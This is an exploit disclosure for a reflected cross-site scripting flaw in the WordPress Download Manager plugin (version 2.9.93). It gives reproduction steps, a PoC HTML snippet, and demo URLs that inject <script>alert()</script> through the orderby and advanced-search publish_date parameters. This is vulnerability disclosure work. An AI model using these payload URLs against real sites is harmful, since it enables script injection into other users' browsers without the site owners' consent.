* Exploit Title: WordPress Download Manager Cross-site Scripting
* Discovery Date: 2019-04-13
* Exploit Author: ThuraMoeMyint
* Author Link: https://twitter.com/mgthuramoemyint
* Vendor Homepage: https://www.wpdownloadmanager.com
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.93
* Category: WebApps, WordPress

Description
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In the pro features of the WordPress download manager plugin, there is a Category Short-code feature witch can use to sort categories with order by a function which will be used as ?orderby=title,publish_date .
By adding parameter "> and add any XSS payload , the xss payload will execute.

To reproduce,

1.Go to the link where we can find ?orderby
2.Add parameters >” and give simple payload like <script>alert(1)</script>
3.The payload will execute.
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PoC
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 <div class="btn-group btn-group-sm pull-right"><button type="button" class="btn btn-primary" disabled="disabled">Order &nbsp;</button><a class="btn btn-primary" href="https://demo.com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a class="btn btn-primary" href="https://demo..com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div>                        

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Demo
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https://demo.wpdownloadmanager.com/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
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Another reflected cross-site scripting via advance search

https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/

https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a